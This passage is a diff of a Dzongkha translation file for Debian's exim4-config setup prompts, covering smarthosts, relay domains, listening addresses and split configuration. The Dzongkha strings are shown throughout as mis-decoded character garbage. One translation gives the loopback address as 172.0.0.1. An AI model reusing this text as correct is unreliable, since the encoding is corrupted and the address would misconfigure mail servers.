../exim4-config.templates:1001 +msgid "no configuration at this time" +msgstr "དུས་ཚོད་ད་ལྟོ་བཟུམ་ཅིག་à½à½¢à¼‹ རིམ་སྒྲིག་མེདà¼" + +#. Type: select +#. Description +#: ../exim4-config.templates:1002 +msgid "General type of mail configuration:" +msgstr "སྤྱིར་གà½à½„་དབྱེ་བ་ཅན་གྱི་ཡིག་འཕྲིན་རིམ་སྒྲིག;" + +#. Type: select +#. Description +#: ../exim4-config.templates:1002 +msgid "" +"Please select the mail server configuration type that best meets your needs." +msgstr "" +"à½à¾±à½¼à½‘་རའི་དགོས་མà½à½¼à¼‹ ཡང་དག་སྦེ་འགྲུབ་ཚུགས་མི་ ཡིག་འཕྲིན་སར་བར་གྱི་རིམ་སྒྲིག་བྱེ་བ་དེ་ སེལ་འà½à½´à¼‹à½ བད་གནང་à¼" + +#. Type: select +#. Description +#: ../exim4-config.templates:1002 +msgid "" +"Systems with dynamic IP addresses, including dialup systems, should " +"generally be configured to send outgoing mail to another machine, called a " +"'smarthost' for delivery because many receiving systems on the Internet " +"block incoming mail from dynamic IP addresses as spam protection." +msgstr "" +"ཌའིལ་ཨཔ་རིམ་ལུགས་ཚུ་རྩིས་à½à½ºà¼‹ ནུས་ཅན་ཨའི་པི་à½à¼‹à½–ྱང་ཚུ་དང་གཅིག་à½à½¢à¼‹à½¡à½¼à½‘་མི་རིམ་ལུགས་ཚུ་གིས་ འགྲེམ་སྤེལ་" +"གྱི་་དོན་ལུ་ ཕྱིར་གà½à½„་ཡིག་འཕྲིན་དེ་ གཞན་མི་གློག་འཕྲུལ་\"smart host\"ཟེར་མི་ལུ་གà½à½„་ནི་ལུ་ སྤྱིར་གà½à½„་" +"ལུ་ རིམ་སྒྲིག་འབད་དེ་འོང་དགོཔ་ཨིན་ ག་ཅི་འབད་ཟེར་བ་ཅིན་ ཨིན་ཊར་ནེཊི་སྡེབ་ཚན་གུ་à½à½¼à½–་པའི་རིམ་ལུགས་ཆ་" +"མཉམ་ར་ ནུས་ཅན་ཨའི་པི་ནང་ལས་ཀྱི་ ནང་འབྱོར་ཡིག་འཕྲིན་ཚུ་ སི་པམ་ཉེན་སà¾à¾±à½¼à½–་འབད་ à½à¼‹à½–ྱང་བà½à½‚སཔ་ཨིནà¼" + +#. Type: select +#. Description +#: ../exim4-config.templates:1002 +msgid "" +"A system with a dynamic IP address can receive its own mail, or local " +"delivery can be disabled entirely (except mail for root and postmaster)." +msgstr "" +"ནུས་ཅན་ཨའི་པི་à½à¼‹à½–ྱང་དང་ལྡན་པའི་རིམ་ལུགས་ཅིག་གིས་ རང་རའི་ཡིག་འཕྲིན་འདི་à½à½¼à½–་ཚུགས་ ཡང་ན་ ཉེ་གནས་" +"འགྲེམ་སྤེལ་འདི་(རྩ་བ་དང་འགྲེམ་à½à½„་འགོ་འཛིན་གྱི་དོན་ལུ་ ཡིག་འཕྲིན་མ་གà½à½¼à½‚ས་)ལྕོགས་མིན་ཧྲིལ་བུ་སྦེ་བཟོ་ཚུགསà¼" + +#. Type: boolean +#. Description +#: ../exim4-config.templates:2001 +msgid "Really leave the mail system unconfigured?" +msgstr "ཡིག་འཕྲིན་རིམ་སུགས་དེ་à½à½‘་རི་འབའ་རི་ རིམ་སྒྲིག་མ་འབད་བར་བཞག་ནི་ཨིན་ན?" + +#. Type: boolean +#. Description +#: ../exim4-config.templates:2001 +msgid "" +"Until the mail system is configured, it will be broken and cannot be used. " +"Configuration at a later time can be done either by hand or by running 'dpkg-" +"reconfigure exim4-config' as root." +msgstr "" +"ཡིག་འཕྲིན་རིམ་ལུགས་འདི་རིམ་སྒྲིག་མ་འབད་ཚུན་ཚོད་ རྒྱུན་ཆད་ནི་ཨིནམ་དང་ ལག་ལེན་འà½à½–་མི་ཚུགས༠ཨིན་རུང་ " +"ཤུལ་ལས་à½à¾±à½¼à½‘་ཀྱིས་ ལགཔ་གིས་ ཡང་ན་ \"dpkg-reconfigure exim4-config\" དེ་གཡོག་བཀོལ་བའི་à½à½¼à½‚་" +"ལས་ རྩ་བ་སྦེ་རིམ་སྒྲིག་འབད་ཚུགསà¼" + +#. Type: string +#. Description +#: ../exim4-config.templates:3001 +msgid "System mail name:" +msgstr "རིམ་ལུགས་ཡིག་འཕྲིན་གྱི་མིང་:" + +#. Type: string +#. Description +#: ../exim4-config.templates:3001 +msgid "" +"The 'mail name' is the domain name used to 'qualify' mail addresses without " +"a domain name." +msgstr "" +"\"mail name\" འདི་ ཌོ་མེན་མིང་མེད་པར་ ཡིག་འཕྲིན་ \"qualify\" འབད་ནི་ལུ་ལག་ལེན་འà½à½–་མི་ ཌོ་" +"མེན་གྱི་མིང་དེ་ཨིནà¼" + +#. Type: string +#. Description +#: ../exim4-config.templates:3001 +msgid "" +"This name will also be used by other programs. It should be the single, " +"fully qualified domain name (FQDN)." +msgstr "" +"མིང་འདི་ ལས་རིམ་གཞན་ཚུ་གིས་ཡང་ ལག་ལེན་འà½à½–་འོང་༠འདི་རà¾à¾±à½„་པ་དང་ ཌོ་མེན་མིང་ཆ་ཚང་(FQDN) འབད་" +"འོང་དགོཔ་ཨིནà¼" + +#. Type: string +#. Description +#: ../exim4-config.templates:3001 +msgid "" +"Thus, if a mail address on the local host is foo@example.org, the correct " +"value for this option would be example.org." +msgstr "" +"དཔེར་ན་ ཉེ་གནས་ཧོསཊི་གུ་ཡིག་འཕྲིན་à½à¼‹à½–ྱང་དེ་ foo@domain.example ཨིན་པ་ཅིན་ གདམ་à½à¼‹à½ དི་གི་ བེ་" +"ལུ་ངོ་མ་འདི་ domain.example ཨིནà¼" + +#. Type: string +#. Description +#: ../exim4-config.templates:3001 +msgid "" +"This name won't appear on From: lines of outgoing messages if rewriting is " +"enabled." +msgstr "མིང་འདི་འབྱུང་: བསà¾à¾±à½¢à¼‹à½–ྲིས་ལྕོགས་ཅན་བཟོ་སྟེ་ཡོད་པ་ཅིན་ ཕྱིར་བསà¾à¾±à½¼à½‘་གྲལ་à½à½²à½‚་ཚུ་ནང་ལས་" + +#. Type: string +#. Description +#: ../exim4-config.templates:4001 +msgid "Other destinations for which mail is accepted:" +msgstr "ཡིག་འཕྲིན་དེ་དང་ལེན་འབད་ཡོད་མིའི་དོན་ལུ་ འགྲོ་ཡུལ་གཞན:" + +#. Type: string +#. Description +#: ../exim4-config.templates:4001 +msgid "" +"Please enter a semicolon-separated list of recipient domains for which this " +"machine should consider itself the final destination. These domains are " +"commonly called 'local domains'. The local hostname (${fqdn}) and " +"'localhost' are always added to the list given here." +msgstr "" +"སེ་མི་ཀོ་ལཱོན་གྱིས་སོར་སོ་འཕྱལ་ཡོད་པའི་ à½à½¼à½–་མà½à½“་ཌོ་མཱེན་གྱི་à½à½¼à¼‹à½¡à½²à½‚་ཅིག་ བཙུགས་གནང་ དེ་ཡང་ མ་འཕྲུལ་à½à½¼à¼‹" +"རང་ མà½à½ ་དཔྱད་ཅིག་སྦེ་བཟོ་དགོཔ་ཨིན༠ཌོ་མཱེན་འདི་ཚུ་ སྤྱིར་བà½à½„་ལུ་ 'local domains' ཟེར་སླབ་ཨིན༠ཉེ་" +"གནས་ཧོསཊི་མིང་ (${fqdn}) དང་ 'localhost' གཉིས་ཀུ་ ཨ་རྟག་ར་ ནཱ་ལུ་བྱིན་à½à½ºà¼‹à½¡à½¼à½‘་པའི་à½à½¼à¼‹à½¡à½²à½‚་ནང་" +"à½à¼‹à½¦à¾à½¼à½„་འབད་དེ་ཡོདཔ་ཨིནà¼" + +#. Type: string +#. Description +#: ../exim4-config.templates:4001 +msgid "" +"By default all local domains will be treated identically. If both a.example " +"and b.example are local domains, acc@a.example and acc@b.example will be " +"delivered to the same final destination. If different domain names should be " +"treated differently, it is necessary to edit the config files afterwards." +msgstr "" +"སྔོན་སྒྲིག་གི་à½à½¼à½‚་ལས་ ཌོ་མེན་ཆ་མཉམ་ འདྲ་མཉམ་སྦེ་རྩིས་འཇོག་འབད་འོང་༠ག་དེམ་ཅིག་འབད་ a.example " +"and b.exampleཚུ་ ཉེ་གནས་ཌོ་མེན་ཨིན་པ་ཅིན་ acc@a.example and acc@b.example འདི་ མཇུག་" +"གི་འགྲོ་ཡུལ་ཅོག་འà½à½‘པ་ལུ་ འགྲེམ་སྤེལ་འབད་འོང་༠ཌོ་མེན་གྱི་མིང་སོ་སོ་ཚུ་ སོ་སོ་འབད་རང་རྩིས་འཇོག་འབད་དགོ་" +"པ་ཅིན་ à½à¾±à½¼à½‘་ཀྱིས་རིམ་སྒྲིག་ཡིག་སྣོད་ཚུ་ ཤུལ་ལས་ཞུན་དག་འབད་དགོཔ་ཨིནà¼" + +#. Type: string +#. Description +#: ../exim4-config.templates:5001 +msgid "Domains to relay mail for:" +msgstr "དོན་ལུ་ ཡིག་འཕྲིན་བརྒྱུད་སྤྲོད་འབད་ནི་ལུ་ ཌོ་མེནསི:" + +#. Type: string +#. Description +#: ../exim4-config.templates:5001 +msgid "" +"Please enter a semicolon-separated list of recipient domains for which this " +"system will relay mail, for example as a fallback MX or mail gateway. This " +"means that this system will accept mail for these domains from anywhere on " +"the Internet and deliver them according to local delivery rules." +msgstr "" +"གློ་བུར་རྒྱབ་à½à½‚་ ཨེམ་ཨེགསི་ ཡངན་ ཡིག་འཕྲིན་འཛུལ་སྒོ་ཅིག་བཟུམ་སྦེ་ རིམ་ལུགས་འདི་གིས་ཡིག་འཕྲིན་བརྒྱུད་སྤྲོད་" +"འབད་ནི་ཨིན་པའི་à½à½¼à½–་མà½à½“་ཌོ་མེན་གྱི་སེ་མི་ཀོ་ལཱོན་-à½à¼‹à½ ཕྱལ་ཡོད་པའི་à½à½¼à¼‹à½¡à½²à½‚་ཅིག་ à½à½¼à¼‹à½–ཀོད་འབད་གནང་༠དེ་" +"གིས་ག་ཅི་སླབ་སྨོ་ཟེར་བ་ཅིན་ རིམ་ལུགས་འདི་གིས་ ཌོ་མེན་འདི་གི་དོན་ལུ་ གློག་འཕྲིན་གུ་ཕྱོགས་ག་སྟེ་ལས་ཡང་ " +"ཡིག་འཕྲིན་དང་ལེན་འབད་འོང་ དེ་ལས་ ཉེ་གནས་འགྲེམ་སྤེལ་ལམ་ལུགས་དང་འà½à¾²à½²à½£à¼‹à½à½ºà¼‹ འགྲེམ་སྤེལ་འབད་འོང་à¼" + +#. Type: string +#. Description +#: ../exim4-config.templates:5001 +msgid "Do not mention local domains here. Wildcards may be used." +msgstr "ནཱ་ལུ་ཉེ་གནས་ཌོ་མེནསི་མ་བཀོད༠à½à½ ིལ་ཀརཌསི་ཚུ་ལག་ལེན་འà½à½–་ཡོདཔ་འོང་à¼" + +#. Type: string +#. Description +#: ../exim4-config.templates:6001 +msgid "Machines to relay mail for:" +msgstr "དོན་ལུ ཡིག་འཕྲིན་རྒྱུད་སྤྲོད་འབད་ནིའི་དོན་ལུ་ གློག་འཕྲུལ:" + +#. Type: string +#. Description +#: ../exim4-config.templates:6001 +msgid "" +"Please enter a semicolon-separated list of IP address ranges for which this " +"system will unconditionally relay mail, functioning as a smarthost." +msgstr "" +"རིམ་ལུགས་འདི་གིས་ མà½à½´à½“་སྒྲིག་སྦེ་ སི་མརཊི་ཧོསཊི་སྦེ་ལས་འགན་འགྲུབ་སྟེ་ ཡིག་འཕྲིན་ལུ་བརྒྱུད་སྤྲོད་འབད་ནི་ཨིན་" +"པའི་ཨའི་པི་à½à¼‹à½–ྱང་à½à¾±à½–་ཚད་ཀྱི་ སེ་མི་ཀོ་ལཱོན་གྱིས་སོ་སོར་འཕྱལ་ཡོད་པའི་à½à½¼à¼‹à½¡à½²à½‚་ཅིག་ བཙུགས་གནང་à¼" + +#. Type: string +#. Description +#: ../exim4-config.templates:6001 +msgid "" +"You should use the standard address/prefix format (e.g. 194.222.242.0/24 or " +"5f03:1200:836f::/48)." +msgstr "" +"à½à¾±à½¼à½‘་ཀྱིས་ཚད་ལྡན་à½à¼‹à½–ྱང་/སྔོན་ཚིག་རྩ་སྒྲིག་དེ་ལག་ལེན་འà½à½–་དགོ(དཔེ་འབད་བ་ཅིན་ ༡༩༤་༢༢༢་༢༤༢་༠/༢༤ ཡང་" +"ན་ ༥ཨེཕ་༠༣:༡༢༠༠:༨༣༦ཨེཕ་::/༤༨)" + +#. Type: string +#. Description +#: ../exim4-config.templates:6001 +msgid "" +"If this system should not be a smarthost for any other host, leave this list " +"blank." +msgstr "" +"རིམ་ལུགས་འདི་ ཧོསཊི་གཞན་ག་གི་དོན་ལུ་ཡང་ སི་མརཊི་ཧོསཊི་སྦེ་འབད་མ་བཅུག་པ་ཅིན་ à½à½¼à¼‹à½¡à½²à½‚་འདི་སྟོངམ་འབད་" +"བཞག" + +#. Type: string +#. Description +#: ../exim4-config.templates:7001 +msgid "Visible domain name for local users:" +msgstr "ཉེ་གནས་ཀྱི་ལག་ལེན་པ་ཚུ་གི་དོན་ལུ་ མà½à½¼à½„་ཚུགས་པའི་ཌོ་མེན་གྱི་མིང་:" + +#. Type: string +#. Description +#: ../exim4-config.templates:7001 +msgid "" +"The option to hide the local mail name in outgoing mail was enabled. It is " +"therefore necessary to specify the domain name this system should use for " +"the domain part of local users' sender addresses." +msgstr "" +"ཕྱིར་བསà¾à¾±à½¼à½‘་ཡིག་འཕྲིན་ནང་ལུ་ ཉེ་གནས་ཡིག་འཕྲིན་མིང་ སྦ་ནིའི་གདམ་à½à¼‹à½ དི་་ལྕོགས་ཅན་བཟོ་ནུག དེ་འབདà½à¼‹à½£à½¦à¼‹ " +"ཉེ་གནས་ལག་ལེན་པའི་à½à¼‹à½–ྱང་གི་ཌོ་མཱེན་ཆ་ཤས་ཀྱི་དོན་ལས་ རིམ་ལུགས་འདི་གིས་ ལག་ལེན་འà½à½–་དགོ་པའི་ཌོ་མཱེན་" +"མིང་འདི་ གསལ་བཀོད་འབད་དགོཔ་à½à½‚་ཆེà¼" + +#. Type: string +#. Description +#: ../exim4-config.templates:8001 +msgid "IP address or host name of the outgoing smarthost:" +msgstr "ཕྱིར་བསà¾à¾±à½¼à½‘་སི་མརཊི་ཧོསཊི་གི་ཨའི་པི་à½à¼‹à½–ྱང་ ཡང་ན་ ཧོསཊི་མིང་:" + +#. Type: string +#. Description +#: ../exim4-config.templates:8001 +msgid "" +"Please enter the IP address or the host name of a mail server that this " +"system should use as outgoing smarthost. If the smarthost only accepts your " +"mail on a port different from TCP/25, append two colons and the port number " +"(for example smarthost.example::587 or 192.168.254.254::2525). Colons in " +"IPv6 addresses need to be doubled." +msgstr "" +"ཕྱིར་བསà¾à¾±à½¼à½‘་སི་མརཊི་ཧོསཊི་སྦེ་རིམ་ལུགས་འདི་གིས་ ལག་ལེན་འà½à½–་ནི་ཨིན་པའི་ཨའི་པི་à½à¼‹à½–ྱང་ ཡང་ན་ ཡིག་འཕྲིན་" +"སར་བར་ཅིག་གི་ཧོསཊི་མིང་ བཙུགས་གནང་༠ག་དེམ་ཅིག་འབད་ སི་མརཊི་ཧོསཊི་གིས་ འདྲེན་ལམ་ཅིག་གུ་ ཊི་སི་" +"པི་/༢༥ལས་སོར་སོ་འབད་ à½à¾±à½¼à½ ་རའི་ཡིག་འཕྲིན་རà¾à¾±à½„མ་ཅིག་དང་ལེན་འབད་བ་ཅིན་ ཀོ་ལཱོན་གཉིས་དང་འདྲེན་ལམ་ཨང་ " +"མཇུག་བསྣོན་འབད་གནང་(དཔེརན་ སི་མརཊི་ཧོསཊི་ དཔེར་བརྗོད་:: ༥༨༧ ཡང་ན་ ༡༩༢་༡༦༨་༢༥༤::༢༥༢༥) " +"IPv6 à½à¼‹à½–ྱང་ནང་ཡོད་པའི་ཀོ་ལཱོན་ཚུ་ གཉིས་ལྡན་བཟོ་དགོ" + +#. Type: string +#. Description +#: ../exim4-config.templates:8001 +msgid "" +"If the smarthost requires authentication, please refer to the Debian-" +"specific README files in /usr/share/doc/exim4-base for notes about setting " +"up SMTP authentication." +msgstr "" +"SMTP བདེན་བཤད་སྒྲིག་སྟངས་ཀྱི་སà¾à½¼à½¢à¼‹à½£à½¦à¼‹à½¤à½ºà½¦à¼‹à½à½–ས་ལུ་ སི་མརཊི་ཧོསཊི་ལུ་བདེན་བཤད་དགོ་པ་ཅིན་ /usr/" +"share/doc/exim4-base ནང་ལས་ ཌི་བི་ཡཱན་- དམིགས་བསལ་ README ཡིག་སྣོད་ཚུ་ལྷབà¼" + +#. Type: string +#. Description +#: ../exim4-config.templates:9001 +msgid "Root and postmaster mail recipient:" +msgstr "རྩ་བ་དང་སྦྲག་à½à½„་དོ་དམ་གྱི་ ཡིག་འཕྲིན་འà½à½¼à½–་མà½à½“:" + +#. Type: string +#. Description +#: ../exim4-config.templates:9001 +msgid "" +"Mail for the 'postmaster', 'root', and other system accounts needs to be " +"redirected to the user account of the actual system administrator." +msgstr "" +"\"postmaster\"དང་ \"root\" དེ་ལས་གཞན་རིམ་ལུགས་ཀྱི་རྩིས་à½à½¼à¼‹à½šà½´à¼‹à½‚ི་ཡིག་འཕྲིན་འདི་ རིམ་ལུགས་བདག་" +"སà¾à¾±à½¼à½„་པ་ངོ་མའི་ལག་ལེན་པའི་རྩིས་à½à½¼à¼‹à½£à½´à¼‹ སླར་ལོག་གà½à½„་དགོà¼" + +#. Type: string +#. Description +#: ../exim4-config.templates:9001 +msgid "" +"If this value is left empty, such mail will be saved in /var/mail/mail, " +"which is not recommended." +msgstr "" +"བེ་ལུ་འདི་སྟོངམ་སྦེ་བཞག་ཡོད་པ་ཅིན་ འདི་བཟུམ་གྱི་ཡིག་འཕྲིན་འདི་ འོས་སྦྱོར་འབད་དེ་མེད་པའི་ /var/mail/" +"mail ནང་སྲུང་བཞག་འབད་དེ་བཞག་འོང་à¼" + +#. Type: string +#. Description +#: ../exim4-config.templates:9001 +msgid "" +"Note that postmaster's mail should be read on the system to which it is " +"directed, rather than being forwarded elsewhere, so (at least one of) the " +"users listed here should not redirect their mail off this machine. A 'real-' " +"prefix can be used to force local delivery." +msgstr "" +"འགྲེམ་ལས་འགོ་འཛིན་གྱི་ཡིག་འཕྲིན་འདི་ གཞན་à½à½¢à¼‹à½‚དོང་བསà¾à¾±à½¼à½‘་མ་འབད་བར་ à½à¼‹à½•à¾±à½¼à½‚ས་སུ་རིམ་ལུགས་གུ་ལྷག་དགོཔ་" +"ཨིན་ དེ་སྦེ་འབད་བ་ཅིན་ ནཱ་ལུ་à½à½¼à¼‹à½–ཀོད་འབད་ཡོད་པའི་ལག་ལེན་པ་ཚུ་ནང་ལས་གཅིག་ དེ་གི་ཡིག་འཕྲིན་འདི་གློག་" +"འཕྲུལ་ལས་ སླར་à½à¼‹à½•à¾±à½¼à½‚ས་སུ་གཡོ་ནི་མི་འོང་༠བང་ཅན་སྦེ་ ཉེ་གནས་འགྲེམ་སྤེལ་གྱི་དོན་ལུ་ \"real-\" སྔོན་ལྟ་" +"འདི་ལག་ལེན་འà½à½–་ཚུགསཔ་ཨིནà¼" + +#. Type: string +#. Description +#: ../exim4-config.templates:9001 +msgid "Multiple user names need to be separated by spaces." +msgstr "སྣ་མང་ལག་ལེན་པའི་མིང་ཚུ་ བར་སྟོང་ཚུ་གིས་སོར་སོ་à½à¼‹à½ ཕྱལ་དགོཔ་ཨིནà¼" + +#. Type: string +#. Description +#: ../exim4-config.templates:10001 +msgid "IP-addresses to listen on for incoming SMTP connections:" +msgstr "ཨེསི་ཨེམ་ཊི་པི་གྲལ་མà½à½´à½‘་ནང་འབྱོར་ཉན་ནི་གྱི་དོན་ལུ་ ཨའི་པི་-à½à¼‹à½–ྱང་ཚུ:" + +#. Type: string +#. Description +#: ../exim4-config.templates:10001 +msgid "" +"Please enter a semicolon-separated list of IP addresses. The Exim SMTP " +"listener daemon will listen on all IP addresses listed here." +msgstr "" +"ཨའི་པི་à½à¼‹à½–ྱང་གི་སེ་མི་ཀོ་ལཱོན་གྱིས་སོ་སོར་འཕྱལ་ཡོད་པའི་à½à½¼à¼‹à½¡à½²à½‚་ཅིག་བཙུགས་གནང་༠ཨེག་ཟིམ་ ཨེསི་ཨེམ་ཊི་པི་" +"ཉན་མི་ཌེ་མཱོན་གྱིས་ ནཱ་ལུ་à½à½¼à¼‹à½–ཀོད་འབད་ཡོད་པའི་ཨའི་པི་à½à¼‹à½–ྱང་ཆ་མཉམ་ལས་ཉན་འོང་à¼" + +#. Type: string +#. Description +#: ../exim4-config.templates:10001 +msgid "" +"An empty value will cause Exim to listen for connections on all available " +"network interfaces." +msgstr "" +"བེ་ལུ་སྟོངམ་གྱིས་ ཨེག་ཟིམ་ལུ་ འà½à½¼à½–་ཚུགས་པའི་ཡོངས་འབྲེལ་ངོས་འདྲ་བ་ཆ་མཉམ་གྱི་གུ་ མà½à½´à½‘་ལམ་ཉན་བཅུག་འོང་à¼" + +#. Type: string +#. Description +#: ../exim4-config.templates:10001 +msgid "" +"If this system only receives mail directly from local services (and not from " +"other hosts), it is suggested to prohibit external connections to the local " +"Exim daemon. Such services include e-mail programs (MUAs) which talk to " +"localhost only as well as fetchmail. External connections are impossible " +"when 127.0.0.1 is entered here, as this will disable listening on public " +"network interfaces." +msgstr "" +"རིམ་ལུགས་འདི་གིས་ དཔེར་ན་ ཕེཅ་མེ་ཡཱལ་ ཡངན་ ཉེ་གནས་ཧོསཊི་(ཧོསཊི་གཞན་ལས་མེན་པའི་)དང་à½à¼‹à½¦à¾³à½–་ནི་ཡོད་" +"པའི་གློག་འཕྲིན་ལས་རིམ་(ཨེམ་ཡུ་ཨེ་)བཟུམ་སྦེ་ ཉེ་གནས་ཞབས་à½à½¼à½‚་ཚུ་ནང་ལས་ གློག་འཕྲིན་à½à½‘་ཀར་དུ་འà½à½¼à½–་པ་" +"ཅིན་རà¾à¾±à½„མ་ཅིག་ ཉེ་གནས་ཨེག་ཟིམ་གྱིས་ཕྱིའི་མà½à½´à½‘་ལམ་བཟོ་ནི་ལས་བཀག་དམ་འབད་དགོ ནཱ་ལུ་ ༡༧༢་༠་༠་༡ à½à½¼à¼‹" +"བཀོད་འབད་ཡོད་པ་ཅིན་ ཕྱིའི་མà½à½´à½‘་ལམ་ཚུ་མི་སྲིདཔ་ཨིན༠འདི་གིས་ མི་མང་ཡོངསའབྲེལ་ངོས་འདྲ་བ་ཚུ་གུ་ ཉན་ནི་" +"ལས་ལྕོགས་མིན་བཟོ་འོང་à¼" + +#. Type: boolean +#. Description +#: ../exim4-config.templates:11001 +msgid "Keep number of DNS-queries minimal (Dial-on-Demand)?" +msgstr "ཊི་ཨེན་ཨེསི་-འདྲི་དཔྱད་ཚུ་གི་ཨང་ཡིག་ཉུང་སུ་སྦེ་བཞག (Demand-ཌ་ཡེལ་འབད་ནི་ཨིན་ན)?" + +#. Type: boolean +#. Description +#: ../exim4-config.templates:11001 +msgid "" +"In normal mode of operation Exim does DNS lookups at startup, and when " +"receiving or delivering messages. This is for logging purposes and allows " +"keeping down the number of hard-coded values in the configuration." +msgstr "" +"སྤྱིར་བà½à½„་བཀོལ་སྤྱོད་གྱི་à½à½–ས་ལམ་ནང་འབད་བ་ཅིན་ ཨེག་ཟིམ་གྱིས་ འགོ་བཙུག་པའི་སà¾à½–ས་དང་ དེ་ལས་ འཕྲིན་དོན་" +"à½à½¼à½–་པའི་སà¾à½–ས་ལུ་ ཡང་ན་ འགྲེམ་སྤེལ་འབད་བའི་སà¾à½–ས་ལུ་ ཌི་ཨེན་ཨེསི་ལུ་བལྟ་འོང་༠འདི་ཡང་དྲན་དེབ་བཀོད་ནིའི་" +"དོན་ལུ་དང་ རིམ་སྒྲིག་ནང་ ཨང་རྟགས་སྲ་བའི་བེ་ལུསི་ཨང་གྲངས་ཚུ་མར་བཞག་བཅུགཔ་ཨིནà¼" + +#. Type: boolean +#. Description +#: ../exim4-config.templates:11001 +msgid "" +"If this system does not have a DNS full service resolver available at all " +"times (for example if its Internet access is a dial-up line using dial-on-" +"demand), this might have unwanted consequences. For example, starting up " +"Exim or running the queue (even with no messages waiting) might trigger a " +"costly dial-up-event." +msgstr "" +"འ་ནི་ཚུ་ རྟག་བརྟན་ཌི་ཨེན་ཨེསི་-མིང་སྲུང་བཞག་པ་-འཛུལ་བསà¾à¾±à½¼à½‘་འབད་ནི་དེ་མེད་པའི་à½à½¼à½‚་ལས་ (དཔེར་ན་ ཌ་" +"ཡཱེལ-ཨོན་-མà½à½¼à¼‹à½ དོད་ལག་ལེན་འà½à½–་མི་ཧོསཊི་ཨིན་པ་ཅིན་) དེ་ལུ་མ་དགོ་པའི་འབྲེལ་འབྱུང་འོང་༠དཔེར་ན་ ཨེག་" +"ཟིམ་འགོ་བཙུགས་ནི་ ཡང་ན་ གྱལ་རིམ་གཡོག་བཀོལ་བའོ་à½à½¼à½‚་ལས་ (འཕྲིན་དོན་ཚུ་འགུག་སྟེ་མེད་དེ་རང་འབད་རུང་) " +"རིན་གོང་སྦོམ་་གནས་མི་ ཌ་ཡཱེལ་-ཨཔ་བྱུང་ལས་ཅིག་བྱུང་བཅུག་ནིའི་ཉེན་à½à¼‹à½¡à½¼à½‘་མི་ དགོས་འདོད་མེད་པའི་རྗེས་འབྲས་" +"འà½à½¼à½–་ནིའི་ཉེན་à½à¼‹à½¡à½¼à½‘པ་ཨིནà¼" + +#. Type: boolean +#. Description +#: ../exim4-config.templates:11001 +msgid "" +"This option should be selected if this system is using Dial-on-Demand. If it " +"has always-on Internet access, this option should be disabled." +msgstr "" +"རིམ་ལུགས་འདི་གིས་ ག་དེམ་ཅིག་འབད་ Dial-on-Demand འདི་ལགལེན་འà½à½–་à½à½ºà¼‹à½¡à½¼à½‘་པ་ཅིན་ གདམ་à½à¼‹à½ དི་སེལ་" +"འà½à½´à¼‹à½ བད་དགོཔ་ཨིན༠དེ་མེན་པར་ ཨ་རྟག་ར་ཨིན་ཊར་ནེཊི་འཇུལ་སྤྱོད་གུ་ཨིན་པ་ཅིན་ གདམ་à½à¼‹à½ དི་ལྕོགས་མིན་བཟོ་" +"དགོ" + +#. Type: title +#. Description +#: ../exim4-config.templates:12001 +msgid "Mail Server configuration" +msgstr "ཡིག་འཕྲིན་སར་བར་རིམ་སྒྲིགà¼" + +#. Type: boolean +#. Description +#: ../exim4-config.templates:13001 +msgid "Split configuration into small files?" +msgstr "རིམ་སྒྲིག་དེ་ཡིག་སྣོད་ཆུང་ཀུ་ཚུ་ནང་ལུ་གཤག་ནི་ཨིན་ན?" + +#. Type: boolean +#. Description +#: ../exim4-config.templates:13001 +msgid "" +"The Debian exim4 packages can either use 'unsplit configuration', a single " +"monolithic file (/etc/exim4/exim4.conf.template) or 'split configuration', " +"where the actual Exim configuration files are built from about 50 smaller " +"files in /etc/exim4/conf.d/." +msgstr "" +"/etc/exim4/conf.d/ ནང་ལུ་ ཡིག་སྣོད་ཆུང་ཀུ་ ༥༠་ ནང་ལས་ཨེག་ཟིམ་རིམ་སྒྲིག་ཡིག་སྣོད་ཚུ་བཟོ་ཡོད་པའི་ " +"ཌེ་བི་ཡཱན་exim4 à½à½´à½˜à¼‹à½¦à¾’ྲིལ་ཚུ་གིས་ \"unsplit configuration\" དང་ མོ་ནོ་ལི་à½à½²à½‚་ཡིག་སྣོད་རà¾à¾±à½„་པ་" +"ཅིག་(/etc/exim4/exim4.conf.template) ཡང་ན་ \"split configuration\" ལག་ལེན་འà½à½–་" +"ཚུགསཔ་ཨིན༠" + +#. Type: boolean +#. Description +#: ../exim4-config.templates:13001 +msgid "" +"Unsplit configuration is better suited for large modifications and is " +"generally more stable, whereas split configuration offers a comfortable way " +"to make smaller modifications but is more fragile and might break if " +"modified carelessly." +msgstr "" +"མ་གཤག་པའི་རིམ་སྒྲིག་འདི་ ལེགས་བཅོས་སྦོམ་གྱི་དོན་ལུ་ འོས་འབབ་ཡོད་པ་ཨིནམ་དང་ འདི་སྤྱིར་བà½à½„་ལུ་སྒྲིང་སྒྲིང་" +"ཡོདཔ་ཨིན༠གཤག་པའི་རིམ་སྒྲིག་གིས་ ལེགས་བཅོས་ཆུང་ཀུ་ཚུ་བདེ་à½à½¼à½‚་à½à½¼à¼‹à½ བད་བཟོ་བཅུགཔ་ཨིན་ དེ་འབདà½à¼‹à½‘་ སྒྲིང་" +"སྒྲིང་མེདཔ་ལས་ ལེགས་བཅོས་ལེགས་ཤོམ་མ་འབད་བ་ཅིན་ དཀྲུམ་འགྱོ་ནིའི་ཉེན་à½à¼‹à½¡à½¼à½‘པ་ཨིནà¼" + +#. Type: boolean +#. Description +#: ../exim4-config.templates:13001 +msgid "" +"A more detailed discussion of split and unsplit configuration can be found " +"in the Debian-specific README files in /usr/share/doc/exim4-base." +msgstr "" +"གཤག་ནི་དང་གཤག་བཤོལ་རིམ་སྒྲིག་གི་རྒྱས་བཤད་ཅན་གྱི་གྲོས་བསྡུར་འདི་ /usr/share/doc/exim4-base " +"ནང་ ཌི་བི་ཡཱན་-དམིགས་བསལ་གྱི་ README ཡིག་སྣོད་ནང་ལས་à½à½¼à½–་ཚུགསཔ་ཨིནà¼" + +#. Type: boolean +#. Description +#: ../exim4-config.templates:14001 +msgid "Hide local mail name in outgoing mail?" +msgstr "ཕྱིར་གà½à½„་ཡིག་འཕྲིན་ནང་ལུ་ ཉེ་གནས་ཡིག་འཕྲིན་གྱི་མིང་དེ་སྦ་བཞག་ནི་ཨིན་ན?" + +#. Type: boolean +#. Description +#: ../exim4-config.templates:14001 +msgid "" +"The headers of outgoing mail can be rewritten to make it appear to have been " +"generated on a different system. If this option is chosen, '${mailname}', " +"'localhost' and '${dc_other_hostnames}' in From, Reply-To, Sender and Return-" +"Path are rewritten." +msgstr "" +"ཕྱིར་གà½à½„་ཡིག་འཕྲིན་གྱི་མགོ་ཡིག་ཚུ་ 